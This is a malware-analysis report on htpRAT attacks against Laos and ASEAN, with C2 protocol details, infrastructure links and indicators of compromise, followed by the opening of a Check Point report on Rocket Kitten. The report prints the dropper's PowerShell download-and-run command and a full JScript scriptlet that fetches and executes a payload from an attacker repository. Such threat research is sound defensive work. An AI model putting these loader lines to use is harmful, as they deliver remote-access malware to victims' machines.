WebClient).DownloadFile(\https://raw.githubusercontent.com/justtest1314/justme2/ master/20160728.jpg\,env:appdata\\\ctfmon.exe\) start appdata\\ ctfmon.exe, 0, False) Set objshell Nothing Sheet3.Visible 1 Sheet2.Visible 1 Sheet1.Visible 1 Sheet1.Unprotect Sheet1.Activate Chart3.Visible 0 End Sub cmd.exe /s /c powershell (New-Object System.
Net.
WebClient).DownloadFile(https:// raw.githubusercontent.com/justtest1314/justme2/master/20160728.
jpg,env:appdata\\ctfmon.exe) start appdata\\ctfmon.exe Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN5 GitHub repositories for payload delivery The threat actor behind this attack uses GitHub repositories to store second stage payloads.
The user account used on GitHub is justtest1314 which holds three repositories, two of which have never been used since they were created.
The third repository named justme2 has been actively used to test different variations of transferring a payload from GitHub to a target machine over the course of six to seven months.
The account and the initial repository were created on March 30, 2016, with the first commits starting the same day.
Since the attack on the target in Laos, the attacker decided to clear out the repository.
The files were prepped and ready for possible attacks since July 28, three months before the above documented attack.
The files were removed on November 18, approximately 10 days after the attack against the Lao organization took place.
The actor did not remove the actual repository, but rather cleared out the repository using commits in which the attacker removed the files.
This allowed us to get the whole history of all the commits over time as well as every payload (and every version of the payload): Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN6 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN7 Based on the Git commit history, we can make a small table showing which file was changed at what time: Commit timestamp Commit hash Files added Files changed Files de- leted Mar 30, 2016, 3:55 AM GMT2 9760f003facc0428e44a5e4da2d3d591c6d711ef README.md Mar 30, 2016, 3:56 AM GMT2 cac8dace24e03a48b804e36a50d24f7747538ffc 8001.exe Mar 30, 2016, 3:56 AM GMT2 21e84fa5897de3c7e85d871e4ba33cb0611232ea 8001.exe Mar 30, 2016, 3:58 AM GMT2 bebf35aeb82b80249312ed12cf0df81409537149 test.zip Apr 1, 2016, 10:16 AM GMT2 530ce17aa21250d9ce38525f353badb8c2f0c859 ctfmon.jpg Apr 20, 2016, 3:07 AM GMT2 87d999a3dc71a77ff95ec684e0805505dd822764 script.jpg May 5, 2016, 4:54 AM GMT2 a63e06112517d9d734b053764354b66e20f12151 2011.jpg May 5, 2016, 4:58 AM GMT2 eda99ee315d4702b02646a4d8c22b5e2eb5aa01f 2011.jpg May 5, 2016, 5:10 AM GMT2 9d43ce169be6c773d8cfc755b36a26118c98ad1d 2011.jpg Jul 28, 2016, 10:55 AM GMT2 e2d697dd03fa6ca535450a771e9b694ae18c22ce 20160728.jpg Nov 18, 2016, 5:00 AM GMT2 f9ba255f5ce38dbe7a860b1de6525fdb5daf9f86 test.zip Nov 18, 2016, 5:00 AM GMT2 3cf50c62107265916777992f7745a1a0ec381d6f script.jpg Nov 18, 2016, 5:00 AM GMT2 bf74c7199eb643fbb2ee998a643469f155439e18 ctfmon.jpg Nov 18, 2016, 5:00 AM GMT2 75b55d9dc45b245b91a3bbd5ebaf64a76dee1f56 20160728.
jpg Nov 18, 2016, 5:01 AM GMT2 fc2a6c0e53b15c93d392f605f3180a43c7c0c78e 2011.jpg While only 20160728.jpg was used in the above mentioned attack, there are many other available payloads.
All files besides 2011.jpg are portable executables.
2011.jpg is in fact a scriptlet file containing some VBS scripting to download the test.zip file seen in the above commit log.
The scriptlet looks like this (the three versions only had minimal changes, most importantly the Target variable was changed to a random path as to not conflict with already existing files): Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN8 ?
XML version1.0?
scriptlet registration descriptionCom progidCommaster version1.00 classid20001111-0000-0000-0000-0000FEEDACDC script languageJScript [CDATA[ var Source https://raw.githubusercontent.com/justtest1314/justme2/master/test.
zip var Target c:\\windows\\temp\\String(Math.random()(Math.pow(10,10))).exe var Object new ActiveXObject(MSXML2.XMLHTTP) Object.
Open(GET, Source, false) Object.
Send() if (Object.
Status 200) // Create the Data Stream var Stream new ActiveXObject(ADODB.Stream) // Establish the Stream Stream.
Open() Stream.
Type 1 // adTypeBinary Stream.
Write(Object.
ResponseBody) Stream.
Position 0 Stream.
SaveToFile(Target, 2) // adSaveCreateOverWrite Stream.
Close() new ActiveXObject(WScript.
Shell).Run(Target,0,true) ]] /script /registration public method nameExec/method /public /scriptlet Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN9 Test.zip is the first stage payload of htpRAT, similar to the 20160728.jpg file downloaded by the XLS mentioned at the start of this report.
The following table lists the files and their respected MD5 and SHA256 values (note, 2011.jpg exists multiple times due to the multiple commits/changes done on this file: Filename MD5 SHA256 2011.jpg (commit: 9d43c169be6c773d8cfc755 36a26118c98ad1d) a164a57e10d257caa1b6230153c05f5d ccfccbe54af2aec39a85d28b22614e2f 43d084a2bcadeae75cad488a8957d862 2011.jpg (commit: a63e06112517d9d734 053764354b66e20f12151) 01cddd0509d725c0ee732e2ef6109ecd 4b2f8cf7d6b2220cc17c66755564e68d3ab997a f1ab3f47cbe2fa79293b3d38c 2011.jpg (commit: eda99ee315d4702b02646a4 8c22b5e2eb5aa01f) 81b11c60b28a17c8a39503daf69e2f62 6b4f605e4cffce074e683f2ade409a 56c318a34f1e4b6b0f15b582c5c66b64e9 20160728.jpg 5fa81da711581228763a7b7c74992cf8 593e13dca3ab6ce6358eec09669f69faef40f1e 67069b08e0fe3f8451aaf62ec 8001.exe 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 ctfmon.jpg d5a9d5d1811c149769833ae1cd3b1aca ee1ea9df1f8d7aaa03a93692c1deab09e8d 834d52e9d5971d013ed259d30229c script.jpg 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 test.zip 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 Staged delivery of the final htpRAT core The analysis starts from the downloaded payload coming from the APA list.xls file.
The payload was downloaded to the application data folder and renamed to ctfmon.exe from the original 20160728.jpg name (SHA256: 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec).
The author calls this first package Microsoft based on the project PDB path still left in the binary: Upon execution, it first checks if a debugger is active as well as checks if it is able to execute the ipconfig utility, most likely to ensure the next step will succeed.
It then proceeds to drop a CAB file named temp.
cab in the local temp directory.
The CAB file is a compressed bundle containing the third stage of the infection.
The code decompresses the CAB file by running the Microsoft expand utility locally.
The following three files from the CAB file are placed in the local application data folder in a subfolder called Microsoft: C:\Users\cool\Documents\Visual Studio 2010\Projects\microsoft\Release\microsoft.pdb Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN10 Filename MD5 SHA256 data 69d24b6fdc87af3a04318e1502e07977 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc949f8e627ed3 848bdc68a fsma32.dll a58f3f9441b4ecc9a0e089578048756f 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e 6865ba1eefd234 winnet.exe c452cd2cc4c91b7da55e83b9eff46589 a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f fe13c0725 After decompressing the files, the winnet.exe file is executed.
This file is a legitimate piece of software it is a part of the F-Secure antivirus suite and used here because it is vulnerable to DLL side loading.
The antivirus component normally loads code from a file called fsma32.dll, which on a normal system is also a component of the antivirus product, but due to the way it searches for this file and performs no verification of its legitimacy, a malicious version of fsma32.dll is started.
The author calls this DLL windows based on the project PDB path still present: The DLL loads the data file, also decompressed from the CAB file, decrypts it and loads the decrypted content into memory and executes it.
The decrypted data content is, in fact, also a DLL file, the fourthstage of the infection.
The author calls this DLL dll based on the project PDB path still present left: This fourth stage of the infection is quite simple.
It starts a new svchost process and decrypts a fifth stage payload it internally has stored and injects this into the svchost process.
This starts a remote thread inside the svchost process to run the injected code.
This final payload and the fifth stage is called htpdll based on the project PDB path (this is where the name htpRAT comes from): The fifth stage is the final stage and contains the core of the RAT which communicates with the C2 server and executes the attackers commands.
C:\Users\cool\Documents\Visual Studio 2010\Projects\windows\Release\windows.pdb C:\Users\cool\Documents\Visual Studio 2010\Projects\dll\Release\dll.pdb C:\Users\cool\Documents\Visual Studio 2010\Projects\htpdll\Release\htpdll.pdb Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN11 Analysis of the htpRAT core At its core htpRAT is a simple and generically implemented RAT with some quite interesting implementations of its communication protocol, command execution and configuration storage systems.
Persistence storage Initially when htpRAT starts it creates a mutexes to ensure there is only one instance running.
The name of the mutex can be used as an indicator on an active system, it is hard coded as: It then obtains its local path in the appdata folder (which is LOCALAPPDATA\Microsoft\).
This path is used to store a file called token.ini in which the system uptime (in milliseconds) is contained.
The token.ini file is formatted using the INI format through the use of the GetPrivateProfileString and WriteProfileString functions of the WinAPI.
htpRAT uses the following hardcoded information to structure its app and key names in the INI file.
This can be used to filter out legitimate token.ini files, if encountered: Once htpRAT has its INI file written, it sets a startup entry in the registry to ensure automatic startup when a system is rebooted.
A key is created under: 3084ADEC-04CF-4981-B6A0-87DC5C385E24 3084ADEC-04CF-4981-B6A0-87DC5C385E24 Software\\Microsoft\\Windows\\CurrentVersion\\Run Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN12 The keyname WindowsApp has the value of the wininit.exe binary location in the Microsoft subfolder in local appdata.
Communication protocol htpRAT uses a custom communication protocol utilizing a JSON format internally which is encrypted and wrapped in HTTP requests.
The base format of a request sent to the C2 server looks like this: Individually the field values contain the following: command: The type of action/command the request has data for in its content field.
The two known values for this are: online: Set when the malware is polling the C2 server for new commands.
(
It also functions as an initial check-in the client simply starts polling for commands on startup).
When this value is set, the content field contains the following fields: tag: The campaign tag which is hardcoded.
name: The computer name is obtained via a call to GetComputerName from the WinAPI.
cmd: This value is seen when the client has executed commands as per instructions from the C2 server.
When this value is set, the content field contains the result from executing the command obtained from the C2.
Additionally the cid field contains a special command ID used for this command.
content: The command field can contain a subset of different keywords that change the content of the content field.
The field then contains the result provided by the operator on the C2 side as long as the command field is set to cmd.
Otherwise, when the command field is set to online this field contains the campaign tag and computer name as explained in the subsection above.
The data in this field is base64 encoded when it is assigned to this field to retain any newlines / data, as it can contain arbitrary data from command execution results.
mid: A unique machine ID based on the GetTickCount value, which is called the first the RAT ever runs.
This function returns the amount of milliseconds the system has been up, this is used (in combination with the computer name) to identify a unique client.
cid: The command ID either set to online when polling for new commands, or it is set to the command ID supplied by the C2.
When a command is obtained from the C2, this command contains a special command ID supplied by the actor issuing the command.
This command ID is replicated back to the C2 with the results of the requested command.
The completed JSON object is, after being filled with the correct information, encrypted before being sent to the C2 through a HTTP POST request.
The encryption of the POST data is done with a custom algorithm.
A key is generated per request to the C2 server and is seeded through the return of the GetTickCount function.
First a 10 character string is generated by picking 10 numbers at random.
The pipe symbol is added at the end of the string making the entire key 11 characters.
The check-in JSON data is then XORd with the generated key.
Then the data is prepared for the POST request as follows: command: command string, content: command id result, mid: machine ID, cid: command id, Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN13 The key is XORd with itself character by character: first character with the second, second with the third until the last character is hit which is XORd with the first character again.
The encrypted checkin data is prepended with the encrypted key and then encoded with base64.
The first character of the plain XOR key is prepended in front of the base64 encoded data.
This prepending of the first key of the XOR key allows the C2 server to calculate back the entire key and decrypt the data.
To give a good example of this protocol, we can work it back from from a network capture of a victim checking in to the C2 server: The encrypted communication blob is: The first layer of the data is the first plaintext character of the XOR key followed by the base64 encoded and XORd check-in data.
We can split up like this: First character of the key: 5 Base64 encoded check-in data: First thing to do is decoding the XOR key out of the data.
We decode the base64 data and grab the first 11 bytes.
We XOR the first byte of this data with the first character we obtained from the check-in, this gives us the second character of the key.
With the second character of the key we can XOR the third and so on.
We continue this until we get the entire key back in plaintext, for the provided data above the key is: 5040941647 5BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1mVV14FX9Ebl wR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQoCBAUGD14ZEBZTUFAT g4XXlpeWFlXURNL BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1m V14FX9EblwR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQo BAUGD14ZEBZTUFATFg4XXlpeWFlXURNL Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN14 In python extracting the key from the check-in data looks like this: We can, using the extracted key, decrypt the rest of the data with a simple XOR loop.
Decrypted we end up with the following JSON data for this check-in: For its HTTP communication htpRAT uses a hardcoded user-agent: While not in use in this attack, htpRAT has an internal configuration which allows the operator to build htpRAT clients with any of the following: Proxy information (username, password, url) Arbitrary raw request headers and data Explicitly it has a field for the Cookie header WinHTTP request options (Timeouts) These options are visible when we reverse engineered the malware, but they were not put to use in this build of htpRAT.
Mozilla/5.0 (Windows NT 10.0 WOW64 rv:41.0) Gecko/20100101 Firefox/41.0 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN15 Execution of operator commands The design of htpRAT differs from common RATs.
Most RATs feature a fixed set of commands that attackers can execute with different command IDs.
For example, file download or file upload would both be unique functionalities of the RAT.
htpRAT doesnt adhere to this structure.
Instead, the malware creator decided to generalize this concept by having the RAT execute commands directly as provided from a C2 server.
This means, for example, there is no specific function to get screenshots on the host instead, on the C2 server side, the operator has a button which says Get Screenshot which simply generates a set of commands to execute through something like PowerShell to take a screenshot.
This makes htpRat dynamic and, subject to change.
Any new functionality the operators want they simply implement by wrapping commands on the C2 without having to update the htpRAT source code.
Coincidentally, this also means we cannot give a fixed list of functionality for this RAT.
Its functionality is completely dependent on what rights the RAT was able to obtain upon installation and what the operator wants to do.
The way the execution of commands when the bot starts is implemented is as follows, : A separate command prompt process is started which can be communicated with via named pipes.
Any incoming commands from the C2 are executed via the named pipes on the sub process.
Results are read from the named pipe and communicated back to the C2 server.
Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN16 Infrastructure analysis Based on the analysis of the malware we know that qf.laoscript.org is the C2 host for this malware.
The WHOIS data for this domain is quite interesting as the name John Durdin can be seen on multiple domains, but what stands out is the difference in email address used in the registrations.
The following is a search on domain registrations for this name in PassiveTotal--most have the same email address, but one stands out.
The email address is the registered domain: If we look more closely, we see that there is also a .NET domain for laoscript.
The C2 domain is clearly registered to raise fewer suspicions by mimicking the other domain.
It becomes even more clear when we see all the registration information was just copied if you compare laoscript.net and laoscript.org: The only thing the actor could not fake was the email address due to the fact that an email address must be used to activate the domain at the registrar.
The use of the laoscript name is quite interesting as it Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN17 shows real active targeting.
The real laoscript website is a piece of software that helps with the input of the Lao language text on computers which gives the actor good leverage for social engineering: Looking at the domain we can see it has been registered since 2014 which means this C2 domain has been under the control of the actor for at least two years.
We can also see that in the past, the domain has been used in other attack campaigns as well which indicates there are more yet undiscovered victims.
There are also two samples that connect to qf.laoscript.org which are not htpRAT, they are in fact variations of the well known PlugX malware: Both also use DLL side loading techniques but using a different antivirus product to leverage execution through.
Still this means theres an active connection between the current actors with the new unknown htpRAT and where they in the past used PlugX.
While we can only guess for reasons why this actor decided to develop their own tool instead of continuing to use PlugX, it seems it is at least a step up in terms of detection of the malware.
PlugX was becoming quite common and easy to detect on both the network as well as file system level.
5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c363ccd163f6d (First seen 2015-07-10) eeb34edec5fd04e6a44bf5c991eaf79c68432d4d0037b582bcd9062cc2b94c62 (First seen 2015-07-17) Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN18 Other activity by the actor using htpRAT Going through older samples connecting to the C2 domain for htpRAT, we mostly find a variety of PlugX samples.
We also ran into the exploit activity by the group, ShadowServer, documented in their paper, The Italian Connection: An analysis of exploit supply chains and digital quartermasters.
Page six describes the use of the HackingTeam leaked exploits by various groups.
One interesting connection is a piece of malware called MyHNServer which is a packaged PlugX payload.
This sample also connects to qf.laoscript.org and has quite an interesting PDB path: The first foldername is interesting in context it translates to the elderly or brother group most likely referring to a more senior/experienced and respected group.
If we correlate samples based on this PDB path, we get into some really interesting attacks.
One other PDB path we can find based on the groups name is for another piece of malware called MyCL (sha256: 2fa07d41385c16b0f6ad32d12908db1743ca77db0b71e6cfd0fde76ef146e983): The first word means source code, and the second means victims.
By itself the sample isnt that interesting, although it isnt PlugX or htpRAT.
It is interesting because of the C2 server used: data.
dubkill.com.
This domain has been widely used in other attacks in Vietnam as documented by BKav, a Vietnamese security company: http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hien- bien-the-virus-bien-dong-2015060612185601.chn.
Looking at the registration information for the dubkill domain, we can find an interesting link to a more recent government attack.
The domain is registered to a person using the email address dubkill163.com, this same email address was also used to register dcsvn.org which was used to imitate the official military domain in Vietnam.
This attack was publicly documented by BKav (http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlines- appears-in-many-other-agenci-1/normal?p_p_authDHFn7deT) and the Vietnamese government (http://e.
gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html).
Additionally there is IP address overlap between dcsvn.org and laoscript.org in 2015.
Following all these links over WHOIS, the shared domains and shared working paths reveals the adversarys web is wider and deeper than expected.
While this report was solely written to inform about a new piece of malware used by this adversary this last section highlights the size and amount of operations.
http://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hien-bien-the-virus-bien-dong-2015060612185601.chn http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hien-bien-the-virus-bien-dong-2015060612185601.chn http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlines-appears-in-many-other-agenci-1/normal?p_p_authDHFn7deT http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlines-appears-in-many-other-agenci-1/normal?p_p_authDHFn7deT http://e.gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html http://e.gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN19 Indicator of Compromise While we mentioned some other C2 domains in this article, the IOCs listed below tie in directly with confirmed activity for htpRAT for the above detailed campaign.
All those IOCs can also be obtained from the public PassiveTotal project which will be kept in sync with new developments: [PT PROJECT].
htpRAT Network IOCs: Domain IP qf.laoscript.org 128.199.245.204 htpRAT Filesystem IOCs: Filename MD5 SHA256 data 69d24b6fdc87af3a04318e1502e07977 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc 949f8e627ed3848bdc68a fsma32.dll a58f3f9441b4ecc9a0e089578048756f 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e 6865ba1eefd234 winnet.exe c452cd2cc4c91b7da55e83b9eff46589 a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f fe13c072 2011.jpg a164a57e10d257caa1b6230153c05f5d ccfccbe54af2aec39a85d28b22614e2f43d084a2bcadeae75ca d488a8957d862 2011.jpg 01cddd0509d725c0ee732e2ef6109ecd 4b2f8cf7d6b2220cc17c66755564e68d3ab997af1ab3f47cbe 2fa79293b3d38c 2011.jpg 81b11c60b28a17c8a39503daf69e2f62 6b4f605e4cffce074e683f2ade409a56c318a34f1e4b6b0f15b582c 5c66b64e9 20160728.
jpg 5fa81da711581228763a7b7c74992cf8 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe 3f8451aaf62ec 8001.exe, script.jpg, test.zip 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 ctfmon.jpg d5a9d5d1811c149769833ae1cd3b1aca ee1ea9df1f8d7aaa03a93692c1deab09e8d834d52e9d5971d013ed2 59d30229c APA list.xls f6d75257c086cd20ec94f4f146676c6e f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eef a0a88eeff89 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN20 htpRAT Miscellaneous IOCs: Description Value INI key name 80478813-B963-4C21-953E-D51544A1863B Runtime mutex 3084ADEC-04CF-4981-B6A0-87DC5C385E24 Useragent Mozilla/5.0 (Windows NT 10.0 WOW64 rv:41.0) Gecko/20100101 Firefox/41.0 Registry startup keyname WindowsApp qf.laoscript.org 128.199.245.204 Additional IOCs related to the Other activity by the htpRAT group section are listed below.
These contain a raw dump of observed samples, domains and IPs.
This last set of IOCs is not tracked in the public PT project linked above.
Also keep in mind there is a substantial amount of historical IP addresses for the domains in the list below which arent related to current activity.
They are only shone in combination with the adjoining domain names.
This section is quite raw and unstructured: the only connection is through shared infrastructure from the htpRAT campaign.
Additional network IOCs: Description IP download.laokey.com 91.109.29.115 103.193.4.164 ftp.laokey.com 43.249.38.250 91.109.29.115 128.199.245.204 laokey.com 103.193.4.164 43.249.38.250 128.199.245.204 mysqlupdate.hopto.org 43.249.38.250 80.255.3.101 91.109.29.115 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN21 Description IP la.laoscript.org 103.193.4.164 86.106.131.12 43.249.38.250 91.109.29.115 128.199.245.204 116.251.223.148 27.255.94.75 216.158.86.233 download.laoscript.org 191.101.242.101 119.59.123.114 image.laoscript.org 115.84.101.75 (IP address for the MOFA of Laos, the server wasnt compromised as far as we know) 116.251.223.212 119.59.123.114 119.59.123.58 la.proxyme.net 61.195.97.204 128.199.245.204 128.199.89.28 Additional filesystem IOCs: Filename MD5 SHA256 favicon.ico 27b318e103985fb4872ea92df1d2f35a 56c3909c19e9fb934ef6d1f73fbfe3d05935933c0c071fc23ad ce05d545b8965 - fb7376074cd98d2ac9d957cba73d054e 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c 363ccd163f6d - 863f83f72b2a089123619465915d69f5 e7264a8ed7ed9145e6cdbcfe55e9a0d00f4df70becb62a83496c 34548c5c7bdf 2017 RiskIQ, Inc. All rights reserved.
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THRE AT INTELLIGENCE A ND RE SE A RCH ROCKET KIT TEN: A CAMPAIGN WITH 9 LIVES CHECK POINT SOFTWARE TECHNOLOGIES 2015 Check Point Software Technologies Ltd. All rights reserved 2 EXECUTIVE SUMMARY ....................................................................................... 03 INVESTIGATION TIMELINE REVIEW ................................................................... 04 ROCKET KITTEN TOOLS INFRASTRUCTURE ................................................. 09 GEFILTE PHISHBEST SERVED COLD .............................................................. 11 WOOLGEREDHOISTED BY THEIR OWN PETARD ............................................ 18 REELED INPHISHING LOGS ANALYSIS .......................................................... 25 EPILOGUE ........................................................................................................... 27 APPENDIX AINDICATORS OF COMPROMISE .................................................. 28 APPENDIX BMPK TECHNICAL DESCRIPTION ............................................... 33 TABLE OF CONTENTS 2015 Check Point Software Technologies Ltd. All rights reserved 3 EXECUTIVE SUMMARY Since early 2014, an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection, supported by persistent spear phishing campaigns.
This cyber-espionage group was dubbed Rocket Kitten, and remains active as of this writing, with reported attacks as recent as October 2015.
The Rocket Kitten group and its attacks have been analyzed on numerous occasions by several vendors and security professionals, resulting in various reports describing the groups method of operation, tools and techniques.
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing, the group targeted individuals and organizations in the Middle East (including targets inside Iran itself), as well as across Europe and in the United States.
Many of these targets were successfully compromised by various pieces of custom-written malware and despite identification and flagging of their infrastructure, the attackers have struck again-and-again by making minor changes to their tools or phishing domains.
Check Point has obtained a complete target listing from the attackers servers among confirmed victims are high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.
This report provides a summary of the findings including: New evidence obtained during Check Points independent investigation into attacker infrastructure, including previously unpublished malware indicators.
Information that appears to reveal the full extent of operations over the past year, and provides unique insight into target profiles and attacker operation internals.
Analysis of attack data to reveal details on victims and specific industries that may have special significance to Iranian political and military interests.
Analysis of attacker mistakes that appear to reveal the true identity of the main devel- oper behind the groups activities (a.k.a.
Wool3n.
H4T), detailed for the first time.
It is our hope this report and measures taken over the past few weeks lead to an effective shutdown of attacker operations (current generation of tools and infrastructure).
While Check Point customers are protected against all known variants of this threat, we urge fellow security vendors and malware research professionals to extend malicious IoC (Indicators-of-Compromise) coverage in current protection infrastructure.
2015 Check Point Software Technologies Ltd. All rights reserved 4 INVESTIGATION TIMELINE REVIEW [If you are familiar with previous publications and interested in Check Points new insights, you may skip this section.]
The Rocket Kitten campaign/actor group has been studied and analyzed on multiple occasions by different vendors, threat intelligence groups and individual researchers.
In a repeating challenge in the malware research domain, we have seen different reports introduce a myriad of code names and operation names for what may very well be the same campaign/actors.
In contrast to malware naming schemes, all reports are in unanimous agreement with strong indications of the campaigns Iranian origin.
This thesis is supported by the individuals and verticals targeted, as part of a plethora of circumstantial and direct evidence.
While we should keep in mind digital evidence can be forged and tailored to falsely masquerade as any attacker to deceive a forensic analyst, the overwhelming amount of independent evidence collected over years of attack activity render the notion of a false campaign extremely improbable.
Despite all the reporting and sharing of malicious indicators, Check Point has detected continued active attacks using the same methods and infrastructure.
These findings were confirmed by other security vendors, as well as Check Points research partners.
It seems as if the attackers, unsophisticated as they are, are completely undeterred by the western security industrys revelations and publications.
Often with the simple replacement of a domain name and minor updates to their malware tools, they continue to carry out their operation undisturbed.
Let us try to review and briefly summarize points of interest from the publications so far.
1 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf 2 http://www.isightpartners.com/2014/05/newscaster-iranian-threat-inside-social-media/ 3 http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ 4 https://www.youtube.com/watch?vWIhKovlHDJ0 5 https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf 6 http://www.clearskysec.com/wp-content/uploads/2015/06/Thamar-Reservoir-public1.pdf 7 https://citizenlab.org/2015/08/iran_two_factor_phishing/ 8 http://documents.trendmicro.com/assets/wp/wp-the-spy-kittens-are-back.pdf May 2014 Dec. 2014 June 2015 Sept. 2015 May 2014 Sept. 2014 March 2015 Aug. 2015 Operation Saffron Rose1 Newscaster An Iranian Threat Inside Social Media2 Rocket Kitten: Advanced Off-the-Shelf Targeted Attacks Against Nation States4 Gholee a Protective Edge-Themed Spear Phishing Campaign3 Thamar Reservoir: An Iranian Cyber-Attack Campaign Against Targets in the Middle East6 The Spy Kittens Are Back: Rocket Kitten 28 Operation Woolen- Goldfish5 London Calling: Two-Factor Authentication Phishing From Iran7 Gadi Evron Tillmann Werner The Citizen Lab ClearSkyiSIGHT Partners ClearSky Trend Micro, Inc.
Trend Micro, Inc. ClearSkyFireEye 9 https://www.youtube.com/watch?vyNFA8l0kIeQ 2015 Check Point Software Technologies Ltd. All rights reserved 5 The May 2014 Operation Saffron Rose publication identifies an Iranian hacking group formerly named Ajax Security (code-named Flying Kitten by CrowdStrike) engaged in active spear phishing attacks on Iranian dissidents (those attempting to circumvent government traffic monitoring).
This group is potentially linked to more recent Rocket Kitten attacks (different tools, yet very similar mode of operation and phishing domain naming scheme).
No concrete evidence of such link has been presented yet.
Newscaster by iSight Partners was released the same month, to detail similar efforts of persistent spear phishing backed by false social media identities pertaining to be journalists of the fake news web site newsonair.org.
iSight, who reportedly cooperated with the FBI, provides a clear Iranian attribution to these efforts.
The report specifies the attackers targeted policymakers, senior military personnel and defense industry organizations in the US, UK and Israel.
We did not find direct evidence linking this activity to Rocket Kitten.
ClearSkys September 2014 blog post first described active attacks using a piece of malware they dubbed Gholee (as appears in a malicious payload export function, potentially named after a popular Iranian singer9).
The researcher points to initial leads into other attacks and notes the threat is currently undetected by the overwhelming majority of AV products.
Image 1the gholee export name as noted by ClearSky.
Gadi Tillmans presentation at 31c3 (the 31st Chaos Communication Congress in Germany) was the first clear identification of the Rocket Kitten attacker group, continuing the CrowdStrike naming scheme for Iranian attacker groups.
The publication introduced the involvement of hacker persona Wool3n.
H4t and other identities in forensic evidence obtained from the malicious documents.
Image 2Forensic artifact in malicious document hinting to file creator as noted by Tillman Werner Gadi Evron.
2015 Check Point Software Technologies Ltd. All rights reserved 6 The researchers followed to describe two pieces of malware used by the attackers: A deeper look into ClearSkys Gholee determined it is the wrapper component of an off-the-shelf penetration testing tool originally authored by Argentina-based Core Security.
This legitimate PT tool, named Core Impact, was illegally repurposed and used for malicious attacks by the Rocket Kitten group.
A .NET-based credential stealer that pilfers known certain credential storage locations in the infected computer and e-mails them to wool3n.h4tgmail.com.
This tool appears to be named FireMalv by the attackers.
Trend Micros March 2015 publication reintroduces the Gholee malware (as GHOLE) campaign, and describes Operation Woolen Goldfish, as well as an additional CWoolgeran unsophisticated key-logger apparently named woolger (likely a Portmanteau for wool3n keylogger) written in C, and present evidence showing its existence starting 2011.
C:\Users\Wool3n.
H4t\Documents\Visual Studio 2010\Projects\C-CPP\CWoolger\Release\CWoolger.pdb The researchers continue to point at the very likely attribution to the Wool3n.
H4T identity as the malware author, whose only online reference was found in an Iranian blogging platform.
